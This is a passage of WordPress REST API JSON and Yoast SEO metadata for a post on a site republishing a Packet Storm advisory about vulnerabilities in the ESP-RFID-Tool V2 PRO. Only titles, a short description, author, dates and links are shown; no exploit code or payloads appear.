redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration_PACKETSTORM:220045 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=50207","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration_PACKETSTORM:220045 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-29T17:06:58&#8243;,&#8221;description&#8221;:&#8221;ESP-RFID-Tool V2 PRO suffers from bypass, cross site request forgery, cross site scripting, information leakage, path traversal, and multiple other vulnerabilities. The vendor has seemingly...","og_url":"https:\/\/zero.redgem.net\/?p=50207","og_site_name":"zero redgem","article_published_time":"2026-04-29T12:45:27+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=50207#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=50207"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration_PACKETSTORM:220045","datePublished":"2026-04-29T12:45:27+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=50207"},"wordCount":2630,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=50207#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=50207","url":"https:\/\/zero.redgem.net\/?p=50207","name":"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration_PACKETSTORM:220045 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-29T12:45:27+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=50207#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=50207"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=50207#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration_PACKETSTORM:220045"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/50207","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=50207"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/50207\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=50207"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=50207"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=50207"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}